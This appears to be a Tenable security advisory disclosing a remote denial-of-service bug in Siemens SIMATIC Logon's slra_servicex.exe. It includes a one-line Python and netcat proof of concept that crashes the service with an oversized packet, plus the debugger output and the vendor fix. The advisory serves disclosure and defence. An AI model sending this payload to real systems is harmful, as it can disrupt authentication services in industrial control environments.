Synopsis
While investigating CVE-2017-2684 we found a new unauthenticated remote denial of service vulnerability in slra_servicex.exe. The denial of service occurs due to an out of bounds write in a logging function. In the function, a 508 byte storage buffer is passed to vswprintf_s along with user provided data. Sufficiently large input will trigger the vulnerability.
The following can be used as a proof of concept.
[galago@galagidae inp]$ python -c "print '\x00\x54\x4c\x53\x00\x00\x00\x01''\x00'*48'\x00\x00\x00\x01\x00\x00\x04\x00'+'A'*0x408" | tr -d '\n' | nc 192.168.1.123 16389
The proof of concept will generate the following error.
0:002> .lastevent Last event: d1c.33c: Exit thread 2:33c, code c0000417 debugger time: Tue Feb 28 13:28:10.802 2017 (UTC - 5:00) 0:002> !error c0000417 Error code: (NTSTATUS) 0xc0000417 (3221226519) - An invalid parameter was passed to a C runtime function.
Solution
Upgrade to SIMATIC Logon 1.6 or newerAdditional References
https://www.siemens.com/cert/pool/cert/siemens_security_advisory_ssa-804859.pdfhttps://ics-cert.us-cert.gov/advisories/ICSA-17-192-01
Disclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]